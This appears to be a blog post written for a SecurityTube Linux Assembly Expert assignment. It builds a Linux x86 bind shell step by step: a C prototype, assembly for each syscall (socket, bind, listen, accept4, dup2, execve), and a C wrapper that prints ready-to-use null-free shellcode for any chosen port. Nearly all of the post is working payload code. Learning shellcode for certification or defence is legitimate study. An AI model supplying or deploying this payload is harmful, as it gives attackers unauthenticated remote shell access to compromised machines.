Assignment #1 SLAE Certification – Bindshell shellcode

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-1290

Assignment:

The assignment consists in creating a bindshell shellcode which binds on a port, executes a shell on incoming connection and allows to easily configure the listening port.

First of all, let’s create a bindshell C program to understand how a bindshell works.

That is my C source code:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

//Listening port
#define PORT 1234

int main(int argc,char *argv[]){
	//Descriptors
	int sockfd,new_sockfd;
	//Addresses
	struct sockaddr_in host_addr;
	
	//Sock file descriptor
	sockfd = socket(PF_INET,SOCK_STREAM,0);
	
	//Configuring socket
	host_addr.sin_family = AF_INET;
	host_addr.sin_port = htons(PORT);
	host_addr.sin_addr.s_addr = 0;
	memset(&(host_addr.sin_zero),'\0',8);

	//Bind socket
	bind(sockfd,(struct sockaddr *)&host_addr,sizeof(struct sockaddr));

	//Listening to socket
	listen(sockfd,1);
	
	new_sockfd = accept(sockfd,NULL,NULL);
	dup2(new_sockfd,2);
	dup2(new_sockfd,1);
	dup2(new_sockfd,0);
	execve("/bin/bash",NULL,NULL);
	close(sockfd);
	close(new_sockfd);
	return(0);
}

Let’s build it:

Run it and connecting from another terminal:

It works! Now we need to work on this program to “convert” it in a shellcode. This program uses many functions in external libraries and we need to transform them in syscall. They are:

  • socket
  • bind
  • listen
  • accept
  • dup2
  • execve
  • close ( To skip because it is not mandatory)

Let’s start from socket syscall. It creates an endpoint for communication and returns a descriptor.Socket syscall number is 359.

It needs 3 arguments: domain,type,protocol. PF_INET domain is 2. SOCK_STREAM type is 1, protocol is 0. Let’s create the first piece of our assembly shellcode:

;******socket syscall******
	; zeroing register
	xor eax,eax
	xor ebx,ebx
	xor ecx,ecx
	xor edx,edx
	;syscall n.
	mov ax,359
	;domain
	mov bl,2
	;type
	mov cl,1
	;protocol is already 0
	int 0x80
	;socket on the stack
	push eax

Now the bind syscall (n. 361). It allows to assign an address to a specific socket descriptor. It also needs three arguments. The socket descriptor, sockaddr structure and size of the structure.

;******bind syscall******
	;syscall n.
	xor eax,eax
	mov ax,361
	;socket descriptor
	mov ebx,[esp]
	;creating sockaddr and pushing onto the stack
	;pushing address 0.0.0.0
	push edx
	;pushing port
	push word 0xd204
	;pushing domain
	push word 0x2
	mov ecx,esp
	;size
	mov dl,16
	int 0x80

Listen syscall (n. 363) is pretty easy. It marks the socket as a passive socket; this means it is able to accept incoming connections. Two arguments are needed, the socket descriptor and the backlog.

;******listen syscall******
	xor eax,eax
	;syscall n.
	mov ax,363
	;socket descriptor already there
	;backlog
	xor ecx,ecx
	int 0x80

Instead of accept, accept4 syscall is used (n. 364) which extracts and manage connection requests for a listening socket. It needs three arguments, the socket descriptor, a sockaddr structure and the structure length. The last two are not mandatory and could be set to null.

;******accept syscall******
	xor eax,eax
	;syscall n.
	mov ax,364
	;socket descriptor already set
	;other arguments to 0
	mov esi,ecx
	push ecx
	mov ecx,esp
	mov edx,esp
	int 0x80
	;mov new_socket to ebx
	mov ebx,eax

Time for the dup2 syscall (n. 63) to redirect the input,error and output standards to socket descriptor. Two arguments, old filedescriptor and new file descriptor. Since we need to repeat the syscall three times we can simplify the whole thing creating a loop.

	;******dup2 syscall******
	xor eax,eax
	xor ecx,ecx
	;file descriptor
	mov cl,2
	;syscall n.
dup:
	mov al,63
	int 0x80
	dec cl
	jns dup

It is the turn of execve (n.11), to execute the real shell.

	;******execve syscall******
	xor eax,eax
	push eax
	push 0x68736162
	push 0x2f6e6962
	push 0x2f2f2f2f
	;filename
	mov ebx,esp
	push eax
	;argc
	mov edx,esp
	push ebx
	;argv
	mov ecx,esp
	;syscall n.
	mov al,11
	int 0x80

We can skip the close syscall to limit the size of our shellcode.

Putting all together:

global _start

section .text

_start:
	;******socket syscall******
	; zeroing register
	xor eax,eax
	xor ebx,ebx
	xor ecx,ecx
	xor edx,edx
	;syscall n.
	mov ax,359
	;domain
	mov bl,2
	;type
	mov cl,1
	;protocol is already 0
	int 0x80
	;socket on the stack
	push eax

	;******bind syscall******
	;syscall n.
	xor eax,eax
	mov ax,361
	;socket descriptor
	mov ebx,[esp]
	;creating sockaddr and pushing onto the stack
	;pushing address 0.0.0.0
	push edx
	;pushing port
	push word 0x5c11
	;pushing domain
	push word 0x2
	mov ecx,esp
	;size
	mov dl,16
	int 0x80

	;******listen syscall******
	xor eax,eax
	;syscall n.
	mov ax,363
	;socket descriptor already there
	;backlog
	xor ecx,ecx
	int 0x80

	;******accept syscall******
	xor eax,eax
	;syscall n.
	mov ax,364
	;socket descriptor already set
	;other arguments to 0
	mov esi,ecx
	push ecx
	mov ecx,esp
	mov edx,esp
	int 0x80
	;mov new_socket to ebx
	mov ebx,eax

	;******dup2 syscall******
	xor eax,eax
	xor ecx,ecx
	;file descriptor
	mov cl,2
	;syscall n.
dup:
	mov al,63
	int 0x80
	dec cl
	jns dup

	;******execve syscall******
	xor eax,eax
	push eax
	push 0x68736162
	push 0x2f6e6962
	push 0x2f2f2f2f
	;filename
	mov ebx,esp
	push eax
	;argc
	mov edx,esp
	push ebx
	;argv
	mov ecx,esp
	;syscall n.
	mov al,11
	int 0x80

Now we need to build the nasm file and link it.

Everything seems to be okay. Let’s dump the shellcode and put it in a C program to test if it works.

No nulls. Perfect!

We need to compile it with the gcc options -fno-stack-protector and -zexecstack.

The shellcode works perfectly!

Last part of assignment is to create a wrapper script to easily edit the shellcode port number. I decided to make this in C.

#include <stdio.h>
#include <stdlib.h>
#define REV(X) ((X << 24) | (( X & 0xff00 ) << 8) | (( X >> 8) & 0xff00 ) | ( X >> 24 ))

int main(int argc,char *argv[]){
	if(argc == 2){
		unsigned int port;
		char s[8];
		char s1[4];
		char s2[4];	
		sscanf(argv[1],"%d",&port);
		printf("Port number: %d\n",port);
		port = REV(port);
		sprintf(s,"%02x",port);
		sprintf(s1,"%.2s",s);
		sprintf(s2,"%.2s",s+2);
		printf("Port bytes:%s%s\n",s1,s2);		
		printf("Shellcode:\n");
		printf("\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\\x66\\xb8\\x67\\x01\\xb3\\x02\\xb1\\x01\\xcd\\x80\\x50\\x31\\xc0\\x66\\xb8\\x69\\x01\\x8b\\x1c\\x24\\x52\\x66\\x68\\x%s\\x%s\\x66\\x6a\\x02\\x89\\xe1\\xb2\\x10\\xcd\\x80\\x31\\xc0\\x66\\xb8\\x6b\\x01\\x31\\xc9\\xcd\\x80\\x31\\xc0\\x66\\xb8\\x6c\\x01\\x89\\xce\\x51\\x89\\xe1\\x89\\xe2\\xcd\\x80\\x89\\xc3\\x31\\xc0\\x31\\xc9\\xb1\\x02\\xb0\\x3f\\xcd\\x80\\xfe\\xc9\\x79\\xf8\\x31\\xc0\\x50\\x68\\x62\\x61\\x73\\x68\\x68\\x62\\x69\\x6e\\x2f\\x68\\x2f\\x2f\\x2f\\x2f\\x89\\xe3\\x50\\x89\\xe2\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80\n",s2,s1);
	}
	else if(argc > 2 || argc < 2){
		printf("Specify the right number of arguments\n");
	}	
}

 

 

 

Share it